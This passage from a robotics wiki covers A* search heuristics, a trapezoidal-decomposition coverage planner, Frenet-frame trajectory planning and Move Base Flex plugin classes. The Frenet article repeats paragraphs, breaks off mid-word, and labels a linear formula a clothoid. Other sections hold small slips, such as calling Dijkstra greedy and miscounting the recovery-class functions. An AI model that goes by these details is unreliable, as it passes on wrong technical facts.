specifically applied to robot motion planning. This will discuss how the algorithm functions, important design aspects in the pipeline, common knobs to tune, and efficiency considerations. The specific guidance and notes will be mainly related to implementation for an Ackermann steered vehicle, but will be useful for abstracting to other systems as well. - -A* search is just one of many algorithms that can be used for search, but note that grid-based search methods such as this are often limited in their effectiveness when used for higher DOF systems. For those problems, it would be worthwhile to consider sampling based planning methods instead. - -These notes and guidance are augmented with heavy borrowing from and attribution to Maxim Likhachev’s 16-782 Planning and Decision Making in Robotics course, Fall 2020. - -## Overview of A* Algorithm -A* is a popular search algorithm that is guaranteed to return an optimal path, and during its search for an optimal path, will provably expand the minimum number of states to guarantee optimality. Why is this useful? It allows for far less exploration, and in turn, less computation than a Dijkstra search, which is a greedy search algorithm. - -### Important Terms -- g(s) value - cost of the shortest path from the start state (sstart) to the current state (s) so far -- h(s) value - estimate of the cost-to-go from the current state (s) to the goal state (sgoal) -- f(s) value - total estimated cost from the start state (sstart) to the goal state (sgoal) -- Admissibility - h(s) is an underestimate of the true cost to goal -- Monotonicity/Consistent - $h(s) \le c(s,s') + h(s')$ for all successors $s'$ of $s$ -- Optimality - no path exists from the start to the goal with a lower cost within the constraints of the problem - -A* works by computing optimal g-values for all states along the search at any point in time. - -![](/assets/images/planning/astar_h_viz.png) - -## Planning Representation -When designing a planner, you first need to decide a few things about how your problem will be represented. Key questions: -- What states of your robot do you care about? - - Examples: X-position, Y-position. Yaw-Pose, etc… -- What actions can your robot take? - - Can it move in any directions unconstrained? - - Are there non-holonomic constraints? -- How is your environment modeled? -- What is the starting configuration for your robot? -- Is the environment model static or can it change dynamically? -- How is cost represented in your problem? - - Distance traveled by your robot? - - Time taken from the start? - - Proximity to specific areas within the map? -- What is your desired goal configuration? - - Is it a specific X and Y location? - - Is it a partial goal? - - This means that only SOME of the states that are represented need to match a goal configuration for the goal condition to be satisfied - -## Key Data Structures -Priority Queues -- Ordering items in the queue based on some value - - Key for A* should be f(s) - - Typically the items are class instances or structs that contain the state, parent, trajectory, g(s), c(s), and other information - - The most efficient way to combine two sets of items into one priority queue is by merge sorting them independently and them merging the two priority queues ala merge sort - - Can apply this process to the set of children generated from expanding a node - -## Map Representation -#### Explicit: -- Pros: - - Offline pre-generation allows for more efficient access during online planning - - Simple to implement in data structures -- Cons: - - Not practical for higher order planning problems, as the map can easily become too large to represent in memory - -#### Implicit -- Pros: - - More efficient for memory -- Cons: - - Must be generated online, adding computation - - More complicated implementation - -## Heuristic Design -In general, for the best performance of your A* planner, you would leverage domain knowledge related to your specific use case to design a heuristic function. With a poor heuristic function, your planner can either waste time exploring extra states or find a sub-optimal solution to the goal. Also, you shouldn’t use the heuristic to bias the resulting plan, rather just to speed up the search process. - -How does A* guarantee optimality when your heuristic is admissible and consistent? The search expands states in the order of f = g + h, which is assumed to be the estimated cost of an optimal path to the goal. - -##### Simple Heuristics (Mainly Used for Toy Problems): -- Euclidean Distance -- Diagonal/Chebychev Distance -- Manhattan Distance - -##### More Informed Heuristics: -- Create map of h-values using a backwards A* search on a lower dimensional representation of the environment, and assigning the calculated g-values as the cost-to-goal - - Backwards A* swaps the start and goal configuration in the search - - Lower dimensional search helps to ensure the heuristic is admissible, as it should always be an underestimate of cost-to-goal - -##### Weighted Heuristic Search: -- Takes your heuristic estimate and applies a weight to it to bias your search towards the goal -- Often makes your heuristic inadmissible, which removes optimality guarantees, but can reduce search time immensely in some circumstances. - -##### Final Notes of Heuristics: -As your planning problem becomes more complex (many local minima, high # of DOFs, etc) your heuristic function design choices quickly become the most important thing in your search, so spend time building and leveraging your knowledge of what the important factors are in a scenario when developing your heuristics. - -## Motion Primitives for Ackermann Vehicles -Generating motion primitives for non-holonomic vehicles can be a computationally expensive task and especially when more demanding motion primitives are desired beyond setting constant control values nearly intractable in terms of online computation time. With this in mind it is best to pre-generate sets of motion primitives for different state values such as speed and steering angle. At the same time the footprint, or all locations the robot contacts the environment, throughout the trajectory of the motion primitive should be generated and can be used for online collision checking. The following are several design suggestions/design considerations for implementing motion primitive pregeneration for non-holonomic vehicles. - -Some suggestions to keep in mind: -- Discretize angles and velocities at the start and end of the motion primitives -- Build in an efficient way to transform the motion primitive trajectory and footprint into the frame of the expanding state -- Best to have the footprint of the robot over the motion primitive pre-generated as well so only the checks need to be made -- Structured as a mask or list of cells relative to the expanding node frame -- Motion primitives are where the motion constraints should be applied ie only feasible motion primitives should be generated and used by the A* planner - -## References -[1] Likhachev, Maxim. “A* Planning.” 16-782 Planning and Decision-making in Robotics. 2020, www.cs.cmu.edu/~maxim/classes/robotplanning_grad/lectures/astar_16782_fall20.pdf. - - -/wiki/planning/coverage-planning-implementation-guide/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-12-07 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Coverage Planner Implementation Guide -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -This wiki details how to implement a basic coverage planner, which can be used for generating paths such that a robot can cover a region with a sensor or end-effector. - -## Introduction to Coverage Planning - The goal of coverage planning is to generate a path such that a robot sweeps every part of some area with one of its sensors and/or end-effectors. One common example where you would need a coverage planner is for drone monitoring applications, where you need the drone to follow a path such that its cameras get a view of every part of some larger field/area. Another example would be a robot lawnmower or vacuum, where we want the robot to move such that it mows or vacuums every square meter of some field or room. - - In this guide, we will be focusing on a cellular-decomposition based coverage planner. This type of coverage planner first splits the region to cover into simpler cells whose coverage paths are easy to generate. We then plan a cell traversal, and the robot goes from cell to cell, covering each simpler cell, until all cells, and thus the entire region, have been covered. There are other coverage planner methods. For example, grid-based coverage planning methods would decompose the region into an occupancy grid map, and then use graph algorithms to ensure the robot covers each grid cell. However, these other types of coverage planners are out of the scope of this simple tutorial. Interested readers are recommended to check out the survey on coverage planning listed below in the Further Reading section for more information on other forms of coverage planners. - -## High Level Architecture of Coverage Planner - Before we dive into the small details of this coverage planner, we will first look at the high level architecture of the coverage planner we will be designing. The image below shows the three main steps. - - ![Coverage Planner Steps](/assets/images/planning/coverage_planner_steps.png) - - The input to the coverage planner is the region we want to generate the coverage plan for. We will represent our region of interest as an outer polygon with a set of polygonal holes. The holes represent areas within the overall outer polygon that we don't want to cover. For instance, in a robotic lawnmowing application, holes could represent gardens in the middle of the lawn that we don't want to mow. Similarly, in a drone wildfire-monitoring application, holes might represent lakes, which would not have any fire, and so you would not want to spend time monitoring them. The outer polygon as well as polygonal holes each are represented as lists of vertices, with each vertex being an x,y coordinate pair. - - Once we have our input region, the first step is cellular decomposition, where we break up the complicated region of interest into simpler shapes which we call cells. In particular, we will perform trapezoidal decomposition, which forms trapezoidal cells. The intention for performing this decomposition is that we can use a simpler algorithm to generate coverage plans for the individual trapezoids, and we can then combine these coverage plans to form a coverage path for the entire region. - - The second step of the algorithm will be generating a cell traversal. This means determining which order to visit the trapezoidal cells. Once we have this order, then in the third step, we form the full coverage path. Starting at the first cell in the cell traversal, we iterate between covering the current cell with our simpler coverage planner and travelling to the next cell in the cell traversal. This final path should now cover the entire region of interest. - -## Step 1: Forming a Trapezoidal Decomposition - - As mentioned above, the first step to our coverage planner will be decomposing the region of interest into simpler trapezoids. To perform this trapezoidal decomposition, we will use a vertical sweep line method. This involves "sweeping" a vertical line from left to right across the region. As the sweep line encounters events, which correspond to vertices, it processes them. We maintain a list of trapezoidal cells that are currently open, meaning that their right edge is unknown. Processing an event involves closing some open cells and opening new cells. Once the sweep line has made it past the right-most event, there should be no more open cells and the closed cells represent the full trapezoidal decomposition of the region. An example of such a trapezoidal decomposition from section 6.1 of the Principles of Robot Motion textbook is shown in the image below. - - ![Trapezoidal Decomposition](/assets/images/planning/trapezoid_decomposition.png) - - Diving into more detail, the first step of trapezoidal decomposition is to convert the outer boundary and holes into a list of events. To do this, we need to discuss what an event is. Events correspond to vertices of the region of interest, but they also contain some additional information. In addition to the current vertex (the vertex that the event corresponds to), an event contains the previous vertex, the next vertex, and the event type. The previous vertex and next vertex refer to the two vertices directly connected to the current vertex via edges. In order to distinguish between the next and previous vertex, we will use the convention that as you traverse the edges of the outer boundary or a hole, the region of interest (area you care about covering) will be to your left. Thus, we will traverse the outer boundary in counter-clockwise order and traverse holes in clockwise order. - - The 6 different event types we will define are OPEN, CLOSE, IN, OUT, FLOOR, and CEILING events. A graphic displaying these 6 event types is shown below. - - > We are currently assuming that all vertices have a unique x-component. We detail some steps to get around this assumption in the Dealing with Overlapping Vertices section below. - - This classification into different event types will be useful later as we process events, since each type will need to be processed differently. - - ![Coverage Planner Event Types](/assets/images/planning/coverage_planner_event_types.png) - - To generate the list of events, loop through the vertices of the outer boundary in CCW order and loop through the vertices of each hole in CW order. At each vertex, add a new event with its previous, current, and next vertex. To determine the event type, you need to examine the x and y components of the previous and next vertex. For example, if both the previous and next vertex have an x component to the left of the current vertex, the event is either an OUT or CLOSE event. Comparing the y coordinate of the previous and next vertex can then distinguish between these two event types. Similarly, if the previous and next vertex are both to the right of the current vertex, the event type is either OPEN or IN. Again, you can then compare the y coordinate of the previous and next vertex to distinguish them. If the previous vertex is to the left of the current vertex and the next vertex is to the right of the current vertex, the event type is FLOOR. Finally, if the previous vertex is to the right while the next vertex is to the left, the event type is CEILING. - - While we can't literally sweep a vertical line across the region of interest, we can mimic this behavior by processing each event from left to right. Thus, once you have a list of events, you will have to sort them by their x-component. - - As we iterate through this sorted list, we will maintain a list of open cells, closed cells, and current edges. Thinking back to the analogy of a sweep line being pulled from left to right across the region of interest, the open cells correspond to trapezoidal cells we are forming which the sweep line is currently intersecting. Closed cells would be trapezoidal cells completely to the left of the sweep line. Closed cells have a known right boundary, whereas open cells are defined as cells with an unknown right boundary. The process of closing a cell corresponds to the determination and setting of its right boundary. Finally, current edges represents all edges that the sweep line is intersecting. Overall, the function to process each event can be split into three different parts: - - 1. Identify the floor and ceiling edges - 2. Open and close cells - 3. Update the current edges list - - The first step to processing an event is identifying the edges immediately above and below the current event. We call these edges the floor and ceiling edges. To find the floor and ceiling edges for an event, we loop through the list of current edges (edges being intersected by the sweep line). We find the vertical intersection point between the sweep line and each edge. The ceiling edge is chosen as the edge who's vertical intersection point is closest to the event while still being above the event. The floor is chosen similarly but must be below the event. - - > Note: It is possible for an event to not have a floor or ceiling edge. - - The next step in processing an event is to open and close cells based on the event type. At OPEN events, we create a new open trapezoid. At CLOSE events, we close a trapezoid (add the right edge) without opening any new trapezoids. At FLOOR and CEILING events, we close one trapezoid and open a new one. At IN events, we close one trapezoid and open two new ones. Finally, at OUT events, we close two trapezoids and open a new one. - - We can represent the trapezoidal cells as a floor edge, a ceiling edge, and a left and right boundary x value. This defines a trapezoid whose parallel sides are vertical. The right boundary x value is uninitialized for open cells. Closing a cell involves setting the right boundary x value. With this representation, new cells are opened with their floor and ceiling edges set to some mix from the following four edges: The floor edge below the event, the ceiling edge above the event, the edge between the event's current and next vertex, and the edge between the event's current and previous vertex. Additionally, cells contain a list of their neighbors, which will be used when generating a cell traversal. We add to this neighbor list both when we open and close the cell. - - The final step in processing an event is to update the current edges list. If the previous vertex is to the left of the event, remove the edge between the previous and current vertex. Similarly, remove the current to next vertex edge if the next vertex is to the left of the event. If the next or previous vertex is to the right of the event, add the corresponding edge to the current edges list. This ensures our current edges list stays up to date with all edges the sweep line is currently intersecting. - - The end result of this step is a set of closed trapezoidal cells, with each cell containing a list of neighboring cells. This defines a graph. - -## Step 2: Generating a Cell Traversal - - The trapezoidal cells define an implicit graph via their neighbor lists. Once we have the trapezoidal cells, we need to determine a cell traversal. This is an order in which to visit each cell. An example (incomplete) cell traversal from section 6.1 of the Principles of Robot Motion textbook is shown below. - - ![Cell Traversal](/assets/images/planning/cell_traversal.png) - - There are lots of different ways to generate a cell traversal. For example, you could start from some random cell and perform depth-first search. You could use a greedy method where, from each cell, you go to the nearest unvisited cell. You could also use a more complex method such as using a TSP solver. - - The output from this step should be an ordered list of cells to visit. -## Step 3: Synthesizing the Full Coverage Plan - - Once you have a cell traversal, you can form the full coverage plan. Starting at the first cell in the cell traversal, alternate between generating a coverage plan for the given cell, and generating a path to the next cell. The path to the next cell might be as simple as a straight line, assuming you do not care if the robot crosses over holes occasionally. To generate the cell coverage plan, we can simply generate a back-and-forth lawnmower pattern over the cell. This lawnmower pattern is easy to generate for our vertical trapezoids because each vertical pass and each horizontal stepover is guaranteed not to hit any obstacles/holes. Simply start at one corner of the trapezoid and alternate between performing a vertical pass to the other side of the trapeoid and performing a horizontal stepover along the top or bottom edge. - - > The distance of the stepover should be close enough for there to be overlap in your sensor/end-effector, but not too close or else the coverage plan will not be as efficient - - By travelling and then covering each trapezoidal cell, the robot will eventually cover the entire region of interest. - -## Dealing with Overlapping Vertices - - In the case where two vertices share the same x-coordinate, such an event would not fit into any of the 6 existing categories. To handle this case, events can be changed from having a one-to-one correspondence with vertices to now allowing one event to correspond to multiple vertices. Instead of having a single vertex of interest, you can group consecutive vertices with the same x-coordinate into a single event. Make sure to ensure that the next and previous vertex (shown as v_n+1 and v_n-1 in figure 1) have a distinct x-coordinate from this vertices of interest list. This change to the event allows you to still use the same 6 event types described above, but v_n, the current vertex, now becomes a list of vertices forming a vertical line rather than a single vertex. - - Making this change to the event class is sufficient for handling the case where consecutive vertices in the same polygon have the same x-coordinate. Such is the case for shapes like rectangles. However, it does not handle the case where non-consecutive vertices in a polygon or vertices from two different polygons have the same x-coordinate. In such a case, we end up forming degenerate trapezoids with zero area, since, as we process the two events at the same x-coordinate, we end up opening and closing a trapezoid at the same x-coordinate. This results in trapezoids where the left and right vertical edges are at the same place. To fix this, you can create a function which, after trapezoidal decomposition is performed, removes degenerate trapezoids and connects all the neighbors for a given degenerate trapezoid together. With these two fixes, the coverage planner should be able able to generate coverage plans for any polygon with holes. -## Potential Optimizations - - In the coverage planner described above, our trapezoidal cells have vertical parallel sides, and we cover these cells with vertical passes up and down. However, performing vertical passes up and down may not be the most efficient way to cover a given region of interest. To improve the performance of the coverage planner, one potential optimization would be to try different rotations of the region of interest to see if there is some other orientation that results in a shorter coverage plan. You could consider checking a discrete set of equally-spaced rotation angles, as well as check the rotation angles corresponding to the angles of the longest edges in the region of interest. - - A second optimization that could be performed is to use boustrophedon decomposition rather than trapezoidal decomposition. For readers interested in this, I recommend checking out the papers listed below in the Further Reading section. - -## Summary - Overall, coverage planning is useful for tasks that require scanning of an area by a robot. We have seen how we can generate such paths over complicated areas by first splitting the region into simpler trapezoidal cells, planning a traversal across those cells, and then using a simple back-and-forth lawnmower pattern to cover each trapezoid. With such an algorithm, we can have our robots plan paths to cover arbitrarily complex polygonal regions. - -## See Also: -- [Planning Overview](https://roboticsknowledgebase.com/wiki/planning/planning-overview/) - -## Further Reading -- [A Survey on Coverage Path Planning for Robotics](https://core.ac.uk/download/pdf/132555826.pdf) -- [Coverage Path Planning: The Boustrophedon Cellular Decomposition](https://asset-pdf.scinapse.io/prod/1590932131/1590932131.pdf) - -## References -- H. Choset, K. M. Lynch, S. Hutchinson, G. A. Kantor, & W. Burgard, “Cell Decompositions” in Principles of Robot Motion, Cambridge, MA, USA: MIT Press 2005, ch. 6, sec. 1, pp. 161–167. - - -/wiki/planning/frenet-frame-planning/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-12-09 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Trajectory Planning in the Frenet Space -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - - -The Frenet frame (also called the moving trihedron or Frenet trihedron) along a curve is a moving (right-handed) coordinate system determined by the tangent line and curvature. The frame, which locally describes one point on a curve, changes orientation along the length of the curve. - -There are many ways to plan a trajectory for a robot. A trajectory can be seen as a set of time ordered state vectors x. The Frenet frame algorithm introduces a way to plan trajectories to maneuver a mobile robot in a 2D plane. It is specifically useful for structured environments, like highways, where a rough path, referred to as reference, is available a priori. - -## Trajectory Planning in the Frenet Space - -There are many ways to plan a trajectory for a robot. A trajectory can be seen as a set of time ordered state vectors x. The following algorithm introduces a way to plan trajectories to maneuver a mobile robot in a 2D plane. It is specifically useful for structured environments, like highways, where a rough path, referred to as reference, is available a priori. - -The Frenet frame (also called the moving trihedron or Frenet trihedron) along a curve is a moving (right-handed) coordinate system determined by the tangent line and curvature. The frame, which locally describes one point on a curve, changes orientation along the length of the curve. - -More formally, the Frenet frame of a curve at a point is a triplet of three mutually [orthogonal](https://www.statisticshowto.com/orthogonal-functions/#definition) unit vectors $\{T, N, B\}$. In three dimensions, the Frenet frame consists of [1]: -- The unit tangent vector $T$, which is the [unit vector](https://www.statisticshowto.com/tangent-vector-velocity/) in the direction of what is being modeled (like velocity). -- The [unit normal](https://www.statisticshowto.com/unit-normal-vector/) vector $N$: the direction where the curve is turning. We can get the normal by taking the [derivative](https://www.statisticshowto.com/differentiate-definition/) of the tangent, then dividing by its length [2]. -- The unit binormal vector $B = T \times N$, which is the cross product of the unit tangent and unit normal. - -The tangent and normal unit vectors span a plane called the osculating plane at $F(s)$. In four dimensions, the Frenet frame contains an additional vector, the trinormal unit vector [3]. While vectors have no [origin](https://www.statisticshowto.com/calculus-definitions/cartesian-plane-quadrants-ordinate-abscissa/#origin) in space, it is traditional with Frenet frames to think of the vectors as radiating from the point of interest. - -More details:[here](https://fjp.at/posts/optimal-frenet/#trajectory-planning-in-the-frenet-space) - -## Algorithm - -1. Determine the trajectory start state $[x_1, x_2, \theta, \kappa, v, a]$ -The trajectory start state is obtained by evaluating the previously calculated trajectory at the prospective start state (low-level-stabilization). At system initialization and after reinitialization, the current vehicle position is used instead (high-level-stabilization). -2. Selection of the lateral mode -Depending on the velocity $v$, the time-based ($d(t)$) or running-length/arc-length-based ($d(s)$) lateral planning mode is activated. By projecting the start state onto the reference curve, the longitudinal start position $s(0)$ is determined. The Frenet state vector $[s,\dot{s},\ddot{s},d,d',d''](0)$ can be determined using the Frenet transformation. For the time-based lateral planning mode, $[\dot{d},\ddot{d}](0)$ -need to be calculated. -3. Generating the lateral and longitudinal trajectories -Trajectories including their costs are generated for the lateral (mode dependent) as well as the longitudinal motion (velocity keeping, vehicle following / distance keeping) in the frenet space. In this stage, trajectories with high lateral accelerations with respect to the reference path can be neglected to improve the computational performance. -4. Combining lateral and longitudinal trajectories -Summing the partial costs of lateral and longitudinal costs using $J(d(t), s(t)) = J_d(d(t)) + k_s \cdot J_s(s(t))$ -, for all active longitudinal mode every longitudinal trajectory is combined with every lateral trajectory and transformed back to world coordinates using the reference path. The trajectories are verified if they obey physical driving limits by subsequent point wise evaluation of curvature and acceleration. This leads to a set of potentially drivable maneuvers of a specific mode in world coordinates. -5. Static and dynamic collision check -Every trajectory set is evaluated with increasing total costs if static and dynamic collisions are avoided. The trajectory with the lowest cost is then selected. -6. Longitudinal mode alternation -Using the sign based (in the beginning) jerk `a(0)`, the trajectory with the strongest decceleration or the trajectory which accelerates the least respectivel - -“Frenet Coordinates”, are a way of representing position on a road in a more intuitive way than traditional `(x,y)` Cartesian Coordinates. -With Frenet coordinates, we use the variables `s` and `d` to describe a vehicle’s position on the road or a reference path. The `s` coordinate represents distance along the road (also known as longitudinal displacement) and the `d` coordinate represents side-to-side position on the road (relative to the reference path), and is also known as lateral displacement. -In the following sections the advantages and disadvantages of Frenet coordinates are compared to the Cartesian coordinates. - - - -## Frenet Features - -The image below ([frenet path]) depicts a curvy road with a Cartesian coordinate system laid on top of it, as well as a curved (continuously curved) reference path (for example, the middle of the road). - -The next image shows the same reference path together with its Frenet coordinates. - -The `s` coordinate represents the run length and starts with `s = 0` at the beginning of the reference path. Lateral positions relative to the reference path are are represented with the d coordinate. Positions on the reference path are represented with `d = 0`. `d` is positive to the left of the reference path and negative on the right of it, although this depends on the convention used for the local reference frame. -The image above ([frenet path]) shows that curved reference paths (such as curvy roads) are represented as straight lines on the $s$ axis in Frenet coordinates. However, motions that do not follow the reference path exactly result in non-straight motions in Frenet coordinates. Instead, such motions result in an offset from the reference path and therefore the $s$ axis, which is described with the $d$ coordinate. The following image shows the two different representations (Cartesian vs. Frenet). -To use Frenet coordinates it is required to have a continouosly smooth reference path. -The `s` coordinate represents the run length and starts with `s = 0` at the beginning of the reference path. Lateral positions relative to the reference path are are represented with the d coordinate. Positions on the reference path are represented with `d = 0`. `d` is positive to the left of the reference path and negative on the right of it, although this depends on the convention used for the local reference frame. -The image above shows that curved reference paths (such as curvy roads) are represented as straight lines on the s axis in Frenet coordinates. However, motions that do not follow the reference path exactly result in non straight motions in Frenet coordinates. Instead such motions result in an offset from the reference path and therefore the s axis, which is described with the d coordinate. The following image shows the two different representations (Cartesian vs Frenet) - -## Reference Path - -Frenet coordinates provide a mathematically simpler representation of a reference path, because its run length is described with the s axis. This reference path provides a rough reference to follow an arbitrary but curvature continuous course of the road. To avoid collisions, the planner must take care of other objects in the environment, either static or dynamic. Such objects are usually not avoided by the reference path. - -A reference path can be represented in two different forms although for all representations a run length information, which represents the s axis, is required for the transformation. - -1. Polynome -2. Spline (multiple polynomes) -3. Clothoid (special polynome) -4. Polyline (single points with run length information) - -Clothoid: - -$$x(l) = c_0 + c_1 l$$ - - -Polyline - -## Transformation -The transformation from local vehicle coordinates to Frenet coordinates is based on the relations. -Given a point $P_C$ in the vehicle frame, search for the closest point $R_C$ on the reference path. The run length of $R_C$, which is known from the reference path points, determines the $s$ coordinate of the transformed point $P_F$. If the reference path is sufficiently smooth (continuously differentiable), then the vector $\overrightarrow{PR}$ is orthogonal to the reference path at point $R_C$. The signed length of $\overrightarrow{PR}$ determines the $d$ coordinate of $P_F$. The sign is positive if $P_C$ - -lies on the left along the run length of the reference path. - -The procedure to transform a point $P_F$ -from Frenet coordinates to the local vehicle frame in Cartesian coordinates is analogous. First, find point $R_C$, which lies on the reference path at run length $s$. Next, a normal unit vector $\vec{d}$ is determined, which, at this point, is orthogonal to the reference path. The direction of this vector points toward positive $d$ values and therefore points to the left with increasing run length $s$. Therefore, the vector $\vec{d}$ depends on run length, which leads to: - -$$P_C(s,d) = R_C(s) + d \cdot \vec{d}(s)$$ - - - -#### Images and Video -Images and embedded video are supported. - -![Path planning in frenet coordinates](/assets/images/planning/path_planning.png) -![frenet path](/assets/images/planning/ref_path.png) -![f_path](/assets/images/planning/f_path.png) -## Summary - -The given article describes in detail what is Frenet Frame and how robot motion planning is done. The importance and relevance of frenet frame with path planning in systems engineering is also highlighted in the given article. - - -## Further Reading - -[Frenet Cordinates](https://fjp.at/posts/optimal-frenet/#frenet-coordinates) -[Highway Trajectory Planning Using Frenet Reference Path](https://www.mathworks.com/help/nav/ug/highway-trajectory-planning-using-frenet.html) -[Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame](https://www.researchgate.net/publication/224156269_Optimal_Trajectory_Generation_for_Dynamic_Street_Scenarios_in_a_Frenet_Frame) - - -## References - -[Frenet Frame](https://fjp.at/posts/optimal-frenet/#frenet-coordinates) - - - -/wiki/planning/move-base-flex/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2023-04-29 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Move Base Flex -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - - -## Introduction - -[MBF](http://wiki.ros.org/move_base_flex) is a navigation stack that is an extension of the Move Base navigation stack, with many great features. The package allows us to load/unload planners and controllers on the fly easily and even run multiple planning algorithms concurrently. The code base is highly flexible and modular. It is an improvement over the original move base navigation package, which only allows 2D costmaps and does not allow easy modification of the execution behavior of the navigation stack. - -This package handles all the interactions between the planner, the controller (what they call their local planner), and recovery behaviors. Also, it provides action servers for sending and keeping track of goals. These are supposed to be implemented as classes and are dynamically loaded/unloaded in the memory using the ROS plugin library [1]. - -> If you only need a work navigation stack on your robot that can give velocity commands and works in a 2D Space, this article IS NOT for you. You are better off using Move Base on your robot. This article is only of help if you want to use other map representations (like 2.5D or 3D maps) or write a custom planner of your own. - -## Move Base Flex Architecture - -This is what the architecture of MBF looks like: - -![MBF Architecture](/assets/images/planning/move_base_flex_full.png) - -The parts above the dotted line are the abstract classes and their interactions between them. These abstract classes are what you have to implement to get MBF to work. After doing this, you can write a simple node that instantiates the navigation server class you implemented, and your navigation stack is ready to be used on the robot. - -### Plugin classes -![MBF Architecture](/assets/images/planning/abstract_plugin_classes.png) - -These classes are dynamically loaded at runtime by the navigation server (detailed below) using ROS pluginlib, and do the high-level planning, low-level planning, and recovery behaviors. These classes are purely abstract. You have to make your global planner, local planner, and recovery classes inherit from these classes and implement the pure virtual functions of these classes. You can look at the header files in the *mbf_abstract_core* package in the MBF repository to find more information on the methods that you must implement. - -### The abstract navigation server class -![MBF Architecture](/assets/images/planning/abstract_navigation_server.png) - -This class is the main class that runs the entire navigation stack and handles the loading, initialization, and interaction of the plugin classes mentioned above. The abstract_navigation_server is also a pure abstract class. You have to make your navigation server class inherit from the abstract_navigation_server and implement the pure virtual functions of these classes. You can look at `abstract_navigation_server.h` in the *mbf_abstraction_nav* package to get more information on what methods you must implement. Note here that, unlike the plugin classes, you don't need to re-implement all the functions of the abstract navigation server, just the pure virtual ones. However, you can re-implement any of those functions as well if you want to change the execution of those functions. - - -### The abstract execution classes -![MBF Architecture](/assets/images/planning/abstract_execution_classes.png) - -There are abstract classes for controlling the planner, controller, and recovery execution, but these are not pure abstract classes, and MBF has already implemented their functions. However, you may want to change how your planner, controller, and recovery behaviors execute and tie in with your navigation server. In that case, you can inherit from these classes and implement the functions you want to change. You can look at the `abstract_planner_execution.h`, `abstract_controller_execution.h`, and `abstract_recovery_execution.h` in the *mbf_abstract_nav* package to get more information on the functions. - - -## Implementing your navigation stack using MBF - -As mentioned above, you must implement the plugin classes, the navigation server, and (optionally) the execution classes. This wiki will teach you to implement the bare minimum for a working navigation stack (i.e., the plugin classes and navigation server). Read on to find out how to implement these. - -### The Planner class -The planner class serves as the global planner for the robot. MBF runs the code of this class only once when the robot receives a goal point or once more after the robot executes a recovery behavior. The job of this class is to generate a path through the environment, given the original location of the robot and the goal point location. - -The planner class, at the bare minimum, only has to have two functions: - -- makePlan -- cancel - -#### makePlan -This function makes the plan and puts it in a vector of geometry_msgs:PoseStamped. It also has an integer return type, and you must return a code depending on how the planning worked. There are a bunch of error codes that you can return that MBF understands, and it would take care of handling that. There are a bunch of non-MBF codes as well that you can return, which MBF will communicate to the user. However, if you want to do something specific for those error codes, write your own implementation of planner_execution class. To know more about the input parameters and the error codes that need to be returned, refer to `abstract_planner.h` file, which has all inputs and output codes documented. - -#### cancel -This is a function that can help you cancel the execution of the makePlan function. You can return false if you do not want to implement a cancellation function or if the cancellation fails for whatever reason. You would use this function (usually) by setting some variables in your planner class, which you would be reading in a computationally expensive loop in your makePlan function. Keep checking the variables in each iteration of the loop. If a cancellation is requested, you just exit the loop and call it a day. But feel free to do anything you want. - -### The Controller Class -The name "Controller" might be a misnomer since here, the "Controller" also serves the function of the local planner. Fundamentally, the controller's job is to take the plan generated by the planner class and publish velocity commands that help the robot traverse that plan. It has to function as the local planner, keeping track of obstacles and collisions, and also as the high-level controller, generating velocity commands for the robot to follow. - -The Controller Class, at the bare minimum, has to have the following four functions: - -- setPlan -- computeVelocityCommands -- isGoalReached -- cancel - -#### setPlan -This function gets the global plan from the global planner (in the form of a vector of geometry_msgs:PoseStamped mentioned earlier). You return true if you have successfully set the plan for your controller and can follow it, and false if you couldn't because the plan is infeasible or whatever the reason might be. - -#### computeVelocityCommands -This function is like a simple feedback loop that you can use to make your robot follow a trajectory. It gets the robot's current position and velocity, and the function's job is to generate a command velocity for the robot, which you then need to put in the geometry_msgs::TwistStamped variable. The return types are integer codes again, which you can return to specify how the execution of the controller loop went. To know more about the input parameters and the error codes you can return, refer to the `abstract_controller.h` file, which has all inputs and output codes documented. However, there is one thing you need to note here, the code for SUCCESS means that the function executed successfully, not the fact the robot reached the goal. - -#### isGoalReached -Checking whether the robot has reached its goal is the job of this function. It gets an angle tolerance and distance tolerance as inputs; you can use that to determine whether the robot has reached the goal. - -#### cancel -This function is similar to the cancel function of the planner, with one crucial difference: The controller loop does NOT stop if the cancel function is called, as it might not be safe to stop the controller loop midway during execution. Hence MBF doesn't stop the controller loop. So even after cancel is called, the computeVelocityCommands function keeps being called in the loop. However, it is just used to tell the Controller class to abandon the current plan and come to a safe stop. After coming to a safe stop, the computeVelocityCommands function can then return the error code for CANCELLED to signify that the execution of the plan is canceled successfully. - -### The Recovery Class -The recovery behaviors go in this class. This behavior runs if the planner cannot generate a plan or a controller cannot follow the trajectory. You could do several things, like clearing the maps you have, making the robot retreat a few steps, rotating in place, etc. - -The recovery class, at the bare minimum, has to have the following four functions implemented: -- runBehavior -- cancel - -#### runBehavior -This function runs the recovery behavior. You can put comments about the execution of the recovery behaviors in the message variable passed as an argument. It returns an integer that signifies its outcome. You can return whatever you want here; there is no standardized code here. - -#### cancel -This function cancels the execution of the runBehavior function. You can return false if you do not want to implement a cancellation function or if the cancellation fails for whatever reason. Otherwise, you can return true and cancel the runBehavior function, similar to how you cancel the controller's execution, ensuring the robot stops safely. - -### The Navigation server class - -The Navigation Server class is the main class that manages the entire execution of the Move Base Flex Navigation Stack. The key components of the MBF Navigation Server are: - -- TF stuff: -The ROS TF2 library is also an integral part of the MBF framework, which uses it to keep track of goal positions and frames. You don't need to worry much about this; you only need to initialize a TF listener and pass it to the constructor, and MBF handles the rest. - -- Action Servers and Variables: The MBF exposes action servers that allow the user to provide goal commands and track the execution of those goal commands. Again, MBG manages this entirely; you don't need to write any code for the action server. - -- Plugin Managers: The navigation server has plugin managers that manage the planner, controller, and recovery behavior classes. The plugin manager ensures that the 